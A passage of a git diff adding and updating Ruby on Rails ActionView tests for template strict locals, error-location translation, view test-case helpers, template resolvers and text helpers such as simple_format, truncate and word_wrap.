+      render(message: "Hi", foo: "bar")
+    end
+
+    assert_match(/unknown local: :foo for hello template/, error.message)
+    assert_instance_of ActionView::StrictLocalsError, error.cause
+  end
+
+  def test_argument_error_in_the_template_is_not_hijacked_by_strict_locals_checking
+    error = assert_raises(ActionView::Template::Error) do
+      @template = new_template("<%# locals: () -%>\n<%= hello(:invalid_argument) %>")
+      render
+    end
+
+    assert_match(/in ['`].*hello'/, error.backtrace.first)
+    assert_instance_of ArgumentError, error.cause
+  end
+
+  def test_rails_injected_locals_does_not_raise_error_if_not_passed
+    @template = new_template("<%# locals: (message:) -%>")
+    assert_nothing_raised do
+      render(message: "Hi", message_counter: 1, message_iteration: 1, implicit_locals: %i[message_counter message_iteration])
+    end
+  end
+
+  def test_rails_injected_locals_can_be_specified
+    @template = new_template("<%# locals: (message: 'Hello') -%>\n<%= message %>")
+    assert_equal "Hello", render(message: "Hello", implicit_locals: %i[message])
+  end
+
+  def test_rails_local_assigns_and_strict_locals
+    @template = new_template("<%# locals: (class: ) -%>\n<%= local_assigns[:class] %>")
+    assert_equal "some-class", render(class: "some-class", implicit_locals: %i[message])
+  end
+
+  def test_rails_injected_locals_can_be_specified_as_kwargs
+    @template = new_template("<%# locals: (message: 'Hello', **kwargs) -%>\n<%= kwargs[:message_counter] %>-<%= kwargs[:message_iteration] %>")
+    assert_equal "1-2", render(message: "Hello", message_counter: 1, message_iteration: 2, implicit_locals: %i[message_counter message_iteration])
+  end
+
+  def test_rails_injected_locals_can_be_specified_as_required_argument
+    @template = new_template("<%# locals: (message: 'Hello', message_iteration:) -%>\n<%= message %>-<%= message_iteration %>")
+    assert_equal "Hello-2", render(message: "Hello", message_counter: 1, message_iteration: 2, implicit_locals: %i[message_counter message_iteration])
+  end
+
   # TODO: This is currently handled inside ERB. The case of explicitly
   # lying about encodings via the normal Rails API should be handled
   # inside Rails.
@@ -184,6 +330,14 @@ def test_encoding_can_be_specified_with_magic_comment_in_erb
     end
   end
 
+  def test_encoding_and_arguments_can_be_specified_with_magic_comment_in_erb
+    with_external_encoding Encoding::UTF_8 do
+      @template = new_template("<%# encoding: ISO-8859-1 %>\n<%# locals: (message: 'Hi!') %>\nhello \xFCmlat\n<%= message %>", virtual_path: nil)
+      assert_equal Encoding::UTF_8, render.encoding
+      assert_match(/hello \u{fc}mlat\nHi!/, render)
+    end
+  end
+
   def test_error_when_template_isnt_valid_utf8
     e = assert_raises ActionView::Template::Error do
       @template = new_template("hello \xFCmlat", virtual_path: nil)
@@ -194,6 +348,13 @@ def test_error_when_template_isnt_valid_utf8
     assert_match(Regexp.new("\xFC"), e.message)
   end
 
+  def test_template_is_marshalable
+    template = new_template
+    serialized = Marshal.load(Marshal.dump(template))
+    assert_equal template.identifier, serialized.identifier
+    assert_equal template.source, serialized.source
+  end
+
   def with_external_encoding(encoding)
     old = Encoding.default_external
     Encoding::Converter.new old, encoding if old != encoding
@@ -202,4 +363,115 @@ def with_external_encoding(encoding)
   ensure
     silence_warnings { Encoding.default_external = old }
   end
+
+  def test_short_identifier
+    @template = new_template("hello")
+    assert_equal "hello template", @template.short_identifier
+  end
+
+  def test_template_inspect
+    @template = new_template("hello")
+    assert_equal "#<ActionView::Template hello template locals=[]>", @template.inspect
+  end
+
+  def test_template_translate_location
+    highlight = "nomethoderror"
+    source = "<%= nomethoderror %>"
+    compiled = "'.freeze; @output_buffer.append=  nomethoderror ; @output_buffer.safe_append='\n"
+
+    spot = spot_highlight(compiled, highlight)
+    expected = spot_highlight(source, highlight, snippet: compiled)
+
+    assert_equal expected, new_template(source).translate_location(nil, spot)
+  end
+
+  def test_template_translate_location_with_multiline_code_source
+    highlight = "nomethoderror"
+    source = "<%=\ngood(\n nomethoderror\n) %>"
+    extracted_line = " nomethoderror\n"
+    compiled = "ValidatedOutputBuffer.wrap(@output_buffer, ({}), '\ngood(\n nomethoderror\n) '.freeze, true).safe_none_append=(\ngood(\n nomethoderror\n) );\n@output_buffer"
+
+    spot = spot_highlight(compiled, highlight, first_column: 1, first_lineno: 6, last_lineno: 6, snippet: extracted_line)
+    expected = spot_highlight(source, highlight, first_column: 1, first_lineno: 3, last_lineno: 3, snippet: extracted_line)
+
+    assert_equal expected, new_template(source).translate_location(nil, spot)
+  end
+
+  def test_template_translate_location_with_multibyte_string_before_highlight
+    highlight = "nope"
+    # ensure the byte offset is enough to make us miss the highlight if wrong
+    multibyte = String.new("\u{a5}\u{a5}\u{a5}\u{a5}\u{a5}\u{a5}\u{a5}", encoding: Encoding::UTF_8) # yen symbol
+    source = "#{multibyte}<%= nope %>"
+    compiled = "#{multibyte}'.freeze; @output_buffer.append=  nope ; @output_buffer.safe_append='\n"
+
+    spot = spot_highlight(compiled, highlight)
+    expected = spot_highlight(source, highlight, snippet: compiled)
+
+    assert_equal expected, new_template(source).translate_location(nil, spot)
+  end
+
+  def test_template_translate_location_no_match_in_compiled
+    highlight = "nomatch"
+    source = "<%= nomatch %>"
+    compiled = "this source does not contain the highlight, so the original spot is returned"
+
+    spot = spot_highlight(compiled, highlight, first_column: 50)
+
+    assert_equal spot, new_template(source).translate_location(nil, spot)
+  end
+
+  def test_template_translate_location_text_includes_highlight
+    highlight = "nomethoderror"
+    source = " nomethoderror <%= nomethoderror %>"
+    compiled = " nomethoderror '.freeze; @output_buffer.append=  nomethoderror ; @output_buffer.safe_append='\n"
+
+    spot = spot_highlight(compiled, highlight)
+    expected = spot_highlight(source, highlight, snippet: compiled)
+
+    assert_equal expected, new_template(source).translate_location(nil, spot)
+  end
+
+  def test_template_translate_location_space_separated_erb_tags
+    highlight = "nomethoderror"
+    source = "<%= goodcode %> <%= nomethoderror %>"
+    compiled = "'.freeze; @output_buffer.append=  goodcode ; @output_buffer.safe_append=' '.freeze; @output_buffer.append=  nomethoderror ; @output_buffer.safe_append='\n"
+
+    spot = spot_highlight(compiled, highlight)
+    expected = spot_highlight(source, highlight, snippet: compiled)
+
+    assert_equal expected, new_template(source).translate_location(nil, spot)
+  end
+
+  def test_template_translate_location_consecutive_erb_tags
+    highlight = "nomethoderror"
+    source = "<%= goodcode %><%= nomethoderror %>"
+    compiled = "'.freeze; @output_buffer.append=  goodcode ; @output_buffer.append=  nomethoderror ; @output_buffer.safe_append='\n"
+
+    spot = spot_highlight(compiled, highlight)
+    expected = spot_highlight(source, highlight, snippet: compiled)
+
+    assert_equal expected, new_template(source).translate_location(nil, spot)
+  end
+
+  def test_template_translate_location_repeated_highlight_in_compiled_template
+    highlight = "nomethoderror"
+    source = "<%= nomethoderror %>"
+    compiled = "ValidatedOutputBuffer.wrap(@output_buffer, ({}), ' nomethoderror '.freeze, true).safe_none_append=  nomethoderror ; @output_buffer.safe_append='\n"
+
+    spot = spot_highlight(compiled, highlight)
+    expected = spot_highlight(source, highlight, snippet: compiled)
+
+    assert_equal expected, new_template(source).translate_location(nil, spot)
+  end
+
+  def test_template_translate_location_flaky_pathological_template
+    highlight = "flakymethod"
+    source = "<%= flakymethod %> flakymethod <%= flakymethod " # fails on second call, no tailing %>
+    compiled = "ValidatedOutputBuffer.wrap(@output_buffer, ({}), ' flakymethod '.freeze, true).safe_none_append=( flakymethod );@output_buffer.safe_append=' flakymethod '.freeze;ValidatedOutputBuffer.wrap(@output_buffer, ({}), ' flakymethod '.freeze, true).safe_none_append=( flakymethod "
+
+    spot = spot_highlight(compiled, highlight)
+    expected = spot_highlight(source, highlight, snippet: compiled)
+
+    assert_equal expected, new_template(source).translate_location(nil, spot)
+  end
 end
diff --git a/actionview/test/template/test_case_test.rb b/actionview/test/template/test_case_test.rb
index 3deddd57066ad..8d43ab3599004 100644
--- a/actionview/test/template/test_case_test.rb
+++ b/actionview/test/template/test_case_test.rb
@@ -1,5 +1,8 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "rails/engine"
+require "capybara/minitest"
 
 module ActionView
   module ATestHelper
@@ -22,6 +25,11 @@ class TestCase
     DeveloperStruct = Struct.new(:name)
 
     module SharedTests
+      def setup
+        ActionView::LookupContext::DetailsKey.clear
+        super
+      end
+
       def self.included(test_case)
         test_case.class_eval do
           test "helpers defined on ActionView::TestCase are available" do
@@ -45,12 +53,20 @@ class GeneralViewTest < ActionView::TestCase
       assert params.is_a? ActionController::Parameters
     end
 
+    test "exposes request" do
+      assert request.is_a? ActionDispatch::Request
+    end
+
     test "exposes view as _view for backwards compatibility" do
       assert_same _view, view
     end
 
+    test "returns controller_name" do
+      assert_equal "test", controller_name
+    end
+
     test "retrieve non existing config values" do
-      assert_nil ActionView::Base.new.config.something_odd
+      assert_nil ActionView::Base.empty.config.something_odd
     end
 
     test "works without testing a helper module" do
@@ -114,6 +130,10 @@ def render_from_helper
   end
 
   class HelperInclusionTest < ActionView::TestCase
+    def teardown
+      ActionController::Base.view_paths.map(&:clear_cache)
+    end
+
     module RenderHelper
       def render_from_helper
         render partial: "customer", collection: @customers
@@ -149,6 +169,13 @@ def render_from_helper
 
       assert_equal "controller_helper_method", some_method
     end
+
+    class AnotherTestClass < ActionView::TestCase
+      test "doesn't use controller helpers from other tests" do
+        assert_not_respond_to view, :render_from_helper
+        assert_not_includes @controller._helpers.instance_methods, :render_from_helper
+      end
+    end
   end
 
   class ViewAssignsTest < ActionView::TestCase
@@ -169,14 +196,14 @@ class ViewAssignsTest < ActionView::TestCase
   class HelperExposureTest < ActionView::TestCase
     helper(Module.new do
       def render_from_helper
-        from_test_case
+        from_test_case(suffix: "!")
       end
     end)
     test "is able to make methods available to the view" do
       assert_equal "Word!", render(partial: "test/from_helper")
     end
 
-    def from_test_case; "Word!"; end
+    def from_test_case(suffix: "?"); "Word#{suffix}"; end
     helper_method :from_test_case
   end
 
@@ -190,7 +217,7 @@ def help_me
     helper HelperThatInvokesProtectAgainstForgery
 
     test "protect_from_forgery? in any helpers returns false" do
-      assert !view.help_me
+      assert_not view.help_me
     end
   end
 
@@ -215,8 +242,14 @@ class ATestHelperTest < ActionView::TestCase
 
     test "is able to use routes" do
       controller.request.assign_parameters(@routes, "foo", "index", {}, "/foo", [])
-      assert_equal "/foo", url_for
-      assert_equal "/bar", url_for(controller: "bar")
+      with_routing do |set|
+        set.draw {
+          get :foo, to: "foo#index"
+          get :bar, to: "bar#index"
+        }
+        assert_equal "/foo", url_for
+        assert_equal "/bar", url_for(controller: "bar")
+      end
     end
 
     test "is able to use named routes" do
@@ -234,7 +267,7 @@ def self.routes
             @routes ||= ActionDispatch::Routing::RouteSet.new
           end
 
-          routes.draw { get "bar", to: lambda {} }
+          routes.draw { get "bar", to: lambda { } }
 
           def self.call(*)
           end
@@ -242,6 +275,8 @@ def self.call(*)
 
         set.draw { mount app => "/foo", :as => "foo_app" }
 
+        singleton_class.include set.mounted_helpers
+
         assert_equal "/foo/bar", foo_app.bar_path
       end
     end
@@ -269,7 +304,7 @@ def render_from_helper
       @controller.controller_path = "test"
 
       @customers = [DeveloperStruct.new("Eloy"), DeveloperStruct.new("Manfred")]
-      assert_match(/Hello: EloyHello: Manfred/, render(file: "test/list"))
+      assert_match(/Hello: EloyHello: Manfred/, render(template: "test/list"))
     end
 
     test "is able to render partials from templates and also use instance variables after view has been referenced" do
@@ -278,7 +313,15 @@ def render_from_helper
       view
 
       @customers = [DeveloperStruct.new("Eloy"), DeveloperStruct.new("Manfred")]
-      assert_match(/Hello: EloyHello: Manfred/, render(file: "test/list"))
+      assert_match(/Hello: EloyHello: Manfred/, render(template: "test/list"))
+    end
+
+    test "is able to use helpers that depend on the view flow" do
+      assert_not content_for?(:foo)
+
+      content_for :foo, "bar"
+      assert content_for?(:foo)
+      assert_equal "bar", content_for(:foo)
     end
   end
 
@@ -310,6 +353,117 @@ def render_from_helper
     end
   end
 
+  class PlaceholderAssertionsTest < ActionView::TestCase
+    helper_method def render_from_helper
+      content_tag "a", "foo", href: "/bar"
+    end
+
+    test "supports placeholders in assert_select calls" do
+      render(partial: "test/from_helper")
+
+      assert_select "a[href=?]", "/bar", text: "foo"
+    end
+  end
+
+  class CapybaraHTMLEncoderTest < ActionView::TestCase
+    include ::Capybara::Minitest::Assertions
+
+    def page
+      Capybara.string(rendered)
+    end
+
+    test "document_root_element can be configured to utilize Capybara" do
+      developer = DeveloperStruct.new("Eloy")
+
+      render "developers/developer_with_h1", developer: developer
+
+      assert_kind_of Capybara::Node::Simple, page
+      assert_css "h1", text: developer.name
+    end
+  end
+
+  class RenderedViewContentTest < ActionView::TestCase
+    test "#rendered inherits from String" do
+      developer = DeveloperStruct.new("Eloy")
+
+      render "developers/developer", developer: developer
+
+      assert_kind_of String, rendered
+      assert_kind_of String, rendered.to_s
+      assert_equal developer.name, rendered
+      assert_match(/#{developer.name}/, rendered)
+      assert_includes rendered, developer.name
+    end
+
+    test "#rendered resets after each render" do
+      render "developers/developer", developer: DeveloperStruct.new("first")
+
+      assert_includes rendered, "first"
+      assert_not_includes rendered, "second"
+      assert_not_includes rendered, "third"
+
+      render "developers/developer", developer: DeveloperStruct.new("second")
+
+      assert_includes rendered, "first"
+      assert_includes rendered, "second"
+      assert_not_includes rendered, "third"
+
+      render "developers/developer", developer: DeveloperStruct.new("third")
+
+      assert_includes rendered, "first"
+      assert_includes rendered, "second"
+      assert_includes rendered, "third"
+    end
+  end
+
+  class HTMLParserTest < ActionView::TestCase
+    test "rendered.html is a Nokogiri::XML::DocumentFragment" do
+      developer = DeveloperStruct.new("Eloy")
+
+      render "developers/developer", developer: developer
+
+      assert_kind_of Nokogiri::XML::DocumentFragment, rendered.html
+      assert_equal rendered.to_s, rendered.html.to_s
+      assert_equal developer.name, document_root_element.text
+    end
+
+    test "do not memoize the rendered.html in view tests" do
+      concat form_tag("/foo")
+
+      assert_equal "/foo", document_root_element.at("form")["action"]
+
+      concat content_tag(:b, "Strong", class: "foo")
+
+      assert_equal "/foo", document_root_element.at("form")["action"]
+      assert_equal "foo", document_root_element.at("b")["class"]
+    end
+  end
+
+  class JSONParserTest < ActionView::TestCase
+    test "rendered.json is an ActiveSupport::HashWithIndifferentAccess" do
+      developer = DeveloperStruct.new("Eloy")
+
+      render formats: :json, partial: "developers/developer", locals: { developer: developer }
+
+      assert_kind_of ActiveSupport::HashWithIndifferentAccess, rendered.json
+      assert_equal rendered.to_s, rendered.json.to_json
+      assert_equal developer.name, rendered.json[:name]
+    end
+  end
+
+  class MissingHTMLParserTest < ActionView::TestCase
+    register_parser :html, nil
+
+    test "rendered.html falls back to returning the value when the parser is missing" do
+      developer = DeveloperStruct.new("Eloy")
+
+      render "developers/developer", developer: developer
+
+      assert_kind_of String, rendered.html
+      assert_equal developer.name, rendered.html
+    end
+  end
+
   module AHelperWithInitialize
     def initialize(*)
       super
@@ -322,4 +476,33 @@ class AHelperWithInitializeTest < ActionView::TestCase
       assert @called_initialize
     end
   end
+
+  class PatternMatchingTestCases < ActionView::TestCase
+    test "document_root_element integrates with pattern matching" do
+      developer = DeveloperStruct.new("Eloy")
+
+      render "developers/developer_with_h1", developer: developer
+
+      assert_pattern { document_root_element.at("h1") => { content: "Eloy", attributes: [{ name: "id", value: "name" }] } }
+      refute_pattern { document_root_element.at("h1") => { content: "Not Eloy" } }
+    end
+
+    test "rendered.html integrates with pattern matching" do
+      developer = DeveloperStruct.new("Eloy")
+
+      render "developers/developer", developer: developer
+
+      assert_pattern { rendered.html => { content: "Eloy" } }
+      refute_pattern { rendered.html => { content: "Not Eloy" } }
+    end
+
+    test "rendered.json integrates with pattern matching" do
+      developer = DeveloperStruct.new("Eloy")
+
+      render formats: :json, partial: "developers/developer", locals: { developer: developer }
+
+      assert_pattern { rendered.json => { name: "Eloy" } }
+      refute_pattern { rendered.json => { name: "Not Eloy" } }
+    end
+  end
 end
diff --git a/actionview/test/template/test_test.rb b/actionview/test/template/test_test.rb
index 52cac77bc59ed..0ced3c5df8c02 100644
--- a/actionview/test/template/test_test.rb
+++ b/actionview/test/template/test_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module PeopleHelper
@@ -67,7 +69,7 @@ def with_test_route_set
     end
 end
 
-class CrazyHelperTest < ActionView::TestCase
+class ManuallySetHelperTest < ActionView::TestCase
   tests PeopleHelper
 
   def test_helper_class_can_be_set_manually_not_just_inferred
@@ -75,7 +77,7 @@ def test_helper_class_can_be_set_manually_not_just_inferred
   end
 end
 
-class CrazySymbolHelperTest < ActionView::TestCase
+class ManuallySetSymbolHelperTest < ActionView::TestCase
   tests :people
 
   def test_set_helper_class_using_symbol
@@ -83,7 +85,7 @@ def test_set_helper_class_using_symbol
   end
 end
 
-class CrazyStringHelperTest < ActionView::TestCase
+class ManuallySetStringHelperTest < ActionView::TestCase
   tests "people"
 
   def test_set_helper_class_using_string
diff --git a/actionview/test/template/testing/fixture_resolver_test.rb b/actionview/test/template/testing/fixture_resolver_test.rb
index effe453fc0d73..2b0136ff2224a 100644
--- a/actionview/test/template/testing/fixture_resolver_test.rb
+++ b/actionview/test/template/testing/fixture_resolver_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class FixtureResolverTest < ActiveSupport::TestCase
@@ -13,6 +15,38 @@ def test_should_return_template_for_declared_path
     assert_equal 1, templates.size, "expected one template"
     assert_equal "this text",      templates.first.source
     assert_equal "arbitrary/path", templates.first.virtual_path
-    assert_equal [:html],          templates.first.formats
+    assert_nil templates.first.format
+  end
+
+  def test_should_match_templates_with_variants
+    resolver = ActionView::FixtureResolver.new("arbitrary/path.html+variant.erb" => "this text")
+    templates = resolver.find_all("path", "arbitrary", false, locale: [], formats: [:html], variants: [:variant], handlers: [:erb])
+    assert_equal 1, templates.size, "expected one template"
+    assert_equal "this text",       templates.first.source
+    assert_equal "arbitrary/path",  templates.first.virtual_path
+    assert_equal :html,           templates.first.format
+    assert_equal "variant",       templates.first.variant
+  end
+
+  def test_should_match_locales
+    resolver = ActionView::FixtureResolver.new("arbitrary/path.erb" => "this text", "arbitrary/path.fr.erb" => "ce texte")
+    en = resolver.find_all("path", "arbitrary", false, locale: [:en], formats: [:html], variants: [], handlers: [:erb])
+    fr = resolver.find_all("path", "arbitrary", false, locale: [:fr], formats: [:html], variants: [], handlers: [:erb])
+
+    assert_equal 1, en.size
+    assert_equal 2, fr.size
+
+    assert_equal "this text", en[0].source
+    assert_equal "ce texte",  fr[0].source
+    assert_equal "this text", fr[1].source
+  end
+
+  def test_should_return_all_variants_for_any
+    resolver = ActionView::FixtureResolver.new("arbitrary/path.html.erb" => "this html", "arbitrary/path.html+variant.erb" => "this text")
+    templates = resolver.find_all("path", "arbitrary", false, locale: [], formats: [:html], variants: [], handlers: [:erb])
+    assert_equal 1, templates.size, "expected one template"
+    assert_equal "this html", templates.first.source
+    templates = resolver.find_all("path", "arbitrary", false, locale: [], formats: [:html], variants: :any, handlers: [:erb])
+    assert_equal 2, templates.size, "expected all templates"
   end
 end
diff --git a/actionview/test/template/testing/null_resolver_test.rb b/actionview/test/template/testing/null_resolver_test.rb
index 5346fd3368c33..c7c78804c0543 100644
--- a/actionview/test/template/testing/null_resolver_test.rb
+++ b/actionview/test/template/testing/null_resolver_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class NullResolverTest < ActiveSupport::TestCase
@@ -7,6 +9,6 @@ def test_should_return_template_for_any_path
     assert_equal 1, templates.size, "expected one template"
     assert_equal "Template generated by Null Resolver", templates.first.source
     assert_equal "arbitrary/path.erb", templates.first.virtual_path.to_s
-    assert_equal [:html],          templates.first.formats
+    assert_nil templates.first.format
   end
 end
diff --git a/actionview/test/template/text_helper_test.rb b/actionview/test/template/text_helper_test.rb
index 251c98230f80b..9d593a96ae55a 100644
--- a/actionview/test/template/text_helper_test.rb
+++ b/actionview/test/template/text_helper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class TextHelperTest < ActionView::TestCase
@@ -7,35 +9,35 @@ def setup
     super
     # This simulates the fact that instance variables are reset every time
     # a view is rendered.  The cycle helper depends on this behavior.
-    @_cycles = nil if (defined? @_cycles)
+    @_cycles = nil if defined?(@_cycles)
   end
 
   def test_concat
-    self.output_buffer = "foo"
+    self.output_buffer = +"foo"
     assert_equal "foobar", concat("bar")
     assert_equal "foobar", output_buffer
   end
 
   def test_simple_format_should_be_html_safe
-    assert simple_format("<b> test with html tags </b>").html_safe?
+    assert_predicate simple_format("<b> test with HTML tags </b>"), :html_safe?
   end
 
   def test_simple_format_included_in_isolation
     helper_klass = Class.new { include ActionView::Helpers::TextHelper }
-    assert helper_klass.new.simple_format("<b> test with html tags </b>").html_safe?
+    assert_predicate helper_klass.new.simple_format("<b> test with HTML tags </b>"), :html_safe?
   end
 
   def test_simple_format
     assert_equal "<p></p>", simple_format(nil)
 
-    assert_equal "<p>crazy\n<br /> cross\n<br /> platform linebreaks</p>", simple_format("crazy\r\n cross\r platform linebreaks")
+    assert_equal "<p>ridiculous\n<br /> cross\n<br /> platform linebreaks</p>", simple_format("ridiculous\r\n cross\r platform linebreaks")
     assert_equal "<p>A paragraph</p>\n\n<p>and another one!</p>", simple_format("A paragraph\n\nand another one!")
     assert_equal "<p>A paragraph\n<br /> With a newline</p>", simple_format("A paragraph\n With a newline")
 
-    text = "A\nB\nC\nD".freeze
+    text = "A\nB\nC\nD"
     assert_equal "<p>A\n<br />B\n<br />C\n<br />D</p>", simple_format(text)
 
-    text = "A\r\n  \nB\n\n\r\n\t\nC\nD".freeze
+    text = "A\r\n  \nB\n\n\r\n\t\nC\nD"
     assert_equal "<p>A\n<br />  \n<br />B</p>\n\n<p>\t\n<br />C\n<br />D</p>", simple_format(text)
 
     assert_equal '<p class="test">This is a classy test</p>', simple_format("This is a classy test", class: "test")
@@ -48,19 +50,29 @@ def test_simple_format_should_sanitize_input_when_sanitize_option_is_not_false
 
   def test_simple_format_should_sanitize_input_when_sanitize_option_is_true
     assert_equal "<p><b> test with unsafe string </b>code!</p>",
-      simple_format("<b> test with unsafe string </b><script>code!</script>", {}, sanitize: true)
+      simple_format("<b> test with unsafe string </b><script>code!</script>", {}, { sanitize: true })
+  end
+
+  def test_simple_format_should_sanitize_input_when_sanitize_options_is_specified
+    assert_equal "<p><a target=\"_blank\" href=\"http://example.com\">Continue</a></p>",
+      simple_format("<a target=\"_blank\" href=\"http://example.com\">Continue</a>", {}, { sanitize_options: { attributes: %w[target href] } })
+  end
+
+  def test_simple_format_should_sanitize_input_when_sanitize_options_is_not_specified
+    assert_equal "<p><a href=\"http://example.com\">Continue</a></p>", simple_format("<a target=\"_blank\" href=\"http://example.com\">Continue</a>")
   end
 
   def test_simple_format_should_not_sanitize_input_when_sanitize_option_is_false
-    assert_equal "<p><b> test with unsafe string </b><script>code!</script></p>", simple_format("<b> test with unsafe string </b><script>code!</script>", {}, sanitize: false)
+    assert_equal "<p><b> test with unsafe string </b><script>code!</script></p>", simple_format("<b> test with unsafe string </b><script>code!</script>", {}, { sanitize: false })
   end
 
   def test_simple_format_with_custom_wrapper
-    assert_equal "<div></div>", simple_format(nil, {}, wrapper_tag: "div")
+    assert_equal "<div></div>", simple_format(nil, {}, { wrapper_tag: "div" })
+    assert_equal "<p></p>", simple_format(nil, {}, { wrapper_tag: nil })
   end
 
   def test_simple_format_with_custom_wrapper_and_multi_line_breaks
-    assert_equal "<div>We want to put a wrapper...</div>\n\n<div>...right there.</div>", simple_format("We want to put a wrapper...\n\n...right there.", {}, wrapper_tag: "div")
+    assert_equal "<div>We want to put a wrapper...</div>\n\n<div>...right there.</div>", simple_format("We want to put a wrapper...\n\n...right there.", {}, { wrapper_tag: "div" })
   end
 
   def test_simple_format_should_not_change_the_text_passed
@@ -104,8 +116,8 @@ def test_truncate_with_options_hash
   end
 
   def test_truncate_multibyte
-    assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding(Encoding::UTF_8),
-      truncate("\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding(Encoding::UTF_8), length: 10)
+    assert_equal (+"\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...").force_encoding(Encoding::UTF_8),
+      truncate((+"\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244").force_encoding(Encoding::UTF_8), length: 10)
   end
 
   def test_truncate_does_not_modify_the_options_hash
@@ -121,7 +133,7 @@ def test_truncate_with_link_options
   end
 
   def test_truncate_should_be_html_safe
-    assert truncate("Hello World!", length: 12).html_safe?
+    assert_predicate truncate("Hello World!", length: 12), :html_safe?
   end
 
   def test_truncate_should_escape_the_input
@@ -134,12 +146,12 @@ def test_truncate_should_not_escape_the_input_with_escape_false
 
   def test_truncate_with_escape_false_should_be_html_safe
     truncated = truncate("Hello <script>code!</script>World!!", length: 12, escape: false)
-    assert truncated.html_safe?
+    assert_predicate truncated, :html_safe?
   end
 
   def test_truncate_with_block_should_be_html_safe
     truncated = truncate("Here's a long test and I need a continue to read link", length: 27) { link_to "Continue", "#" }
-    assert truncated.html_safe?
+    assert_predicate truncated, :html_safe?
   end
 
   def test_truncate_with_block_should_escape_the_input
@@ -154,7 +166,7 @@ def test_truncate_with_block_should_not_escape_the_input_with_escape_false
 
   def test_truncate_with_block_with_escape_false_should_be_html_safe
     truncated = truncate("<script>code!</script>Here's a long test and I need a continue to read link", length: 27, escape: false) { link_to "Continue", "#" }
-    assert truncated.html_safe?
+    assert_predicate truncated, :html_safe?
   end
 
   def test_truncate_with_block_should_escape_the_block
@@ -163,7 +175,7 @@ def test_truncate_with_block_should_escape_the_block
   end
 
   def test_highlight_should_be_html_safe
-    assert highlight("This is a beautiful morning", "beautiful").html_safe?
+    assert_predicate highlight("This is a beautiful morning", "beautiful"), :html_safe?
   end
 
   def test_highlight
@@ -295,7 +307,7 @@ def test_excerpt_with_regex
   end
 
   def test_excerpt_should_not_be_html_safe
-    assert !excerpt("This is a beautiful! morning", "beautiful", radius: 5).html_safe?
+    assert_not_predicate excerpt("This is a beautiful! morning", "beautiful", radius: 5), :html_safe?
   end
 
   def test_excerpt_in_borderline_cases
@@ -325,7 +337,7 @@ def test_excerpt_with_omission
   end
 
   def test_excerpt_with_utf8
-    assert_equal("...\357\254\203ciency could not be...".force_encoding(Encoding::UTF_8), excerpt("That's why e\357\254\203ciency could not be helped".force_encoding(Encoding::UTF_8), "could", radius: 8))
+    assert_equal((+"...\357\254\203ciency could not be...").force_encoding(Encoding::UTF_8), excerpt((+"That's why e\357\254\203ciency could not be helped").force_encoding(Encoding::UTF_8), "could", radius: 8))
   end
 
   def test_excerpt_does_not_modify_the_options_hash
@@ -347,27 +359,46 @@ def test_excerpt_with_separator
     options = { separator: "\n", radius: 1 }
     assert_equal("...very\nvery long\nstring", excerpt("my very\nvery\nvery long\nstring", "long", options))
 
+    options = { separator: "_" }
+    assert_equal("foo", excerpt("foo", "foo", options))
+
     assert_equal excerpt("This is a beautiful morning", "a"),
                  excerpt("This is a beautiful morning", "a", separator: nil)
   end
 
-  def test_word_wrap
-    assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", line_width: 15))
+  test "word_wrap" do
+    input = "123 1234 12 12 123 1 1 1 123"
+    assert_equal "123\n1234\n12\n12\n123\n1 1\n1\n123", word_wrap(input, line_width: 3)
+    assert_equal "123-+1234-+12-+12-+123-+1 1-+1-+123", word_wrap(input, line_width: 3, break_sequence: "-+")
   end
 
-  def test_word_wrap_with_extra_newlines
-    assert_equal("my very very\nvery long\nstring\n\nwith another\nline", word_wrap("my very very very long string\n\nwith another line", line_width: 15))
+  test "word_wrap with newlines" do
+    input = "1\n1 1 1\n1"
+    assert_equal "1\n1 1\n1\n1", word_wrap(input, line_width: 3)
+    assert_equal "1-+1 1-+1-+1", word_wrap(input, line_width: 3, break_sequence: "-+")
   end
 
-  def test_word_wrap_does_not_modify_the_options_hash
-    options = { line_width: 15 }
-    passed_options = options.dup
-    word_wrap("some text", passed_options)
-    assert_equal options, passed_options
+  test "word_wrap with multiple consecutive newlines" do
+    input = "1\n\n\n1 1 1\n\n\n1"
+    assert_equal "1\n\n\n1 1\n1\n\n\n1", word_wrap(input, line_width: 3)
+    assert_equal "1-+-+-+1 1-+1-+-+-+1", word_wrap(input, line_width: 3, break_sequence: "-+")
+  end
+
+  test "word_wrap with trailing newlines" do
+    input = "1\n1 1 1\n1\n\n\n"
+    assert_equal "1\n1 1\n1\n1", word_wrap(input, line_width: 3)
+    assert_equal "1-+1 1-+1-+1", word_wrap(input, line_width: 3, break_sequence: "-+")
   end
 
-  def test_word_wrap_with_custom_break_sequence
-    assert_equal("1234567890\r\n1234567890\r\n1234567890", word_wrap("1234567890 " * 3, line_width: 2, break_sequence: "\r\n"))
+  test "word_wrap with leading spaces" do
+    input = "  1 1\n  1 1\n"
+    assert_equal "  1\n1\n  1\n1", word_wrap(input, line_width: 3)
+    assert_equal "  1-+1-+  1-+1", word_wrap(input, line_width: 3, break_sequence: "-+")
+  end
+
+  test "word_wrap when no wrapping is necessary" do
+    assert_equal "1", word_wrap("1", line_width: 3)
+    assert_equal "", word_wrap("", line_width: 3)
   end
 
   def test_pluralization
@@ -510,7 +541,9 @@ def test_reset_cycle
   end
 
   def test_reset_unknown_cycle
-    reset_cycle("colors")
+    assert_nothing_raised do
+      reset_cycle("colors")
+    end
   end
 
   def test_reset_named_cycle
diff --git a/actionview/test/template/text_test.rb b/actionview/test/template/text_test.rb
index 72ffd5f3bec7d..c837c5358728d 100644
--- a/actionview/test/template/text_test.rb
+++ b/actionview/test/template/text_test.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class TextTest < ActiveSupport::TestCase
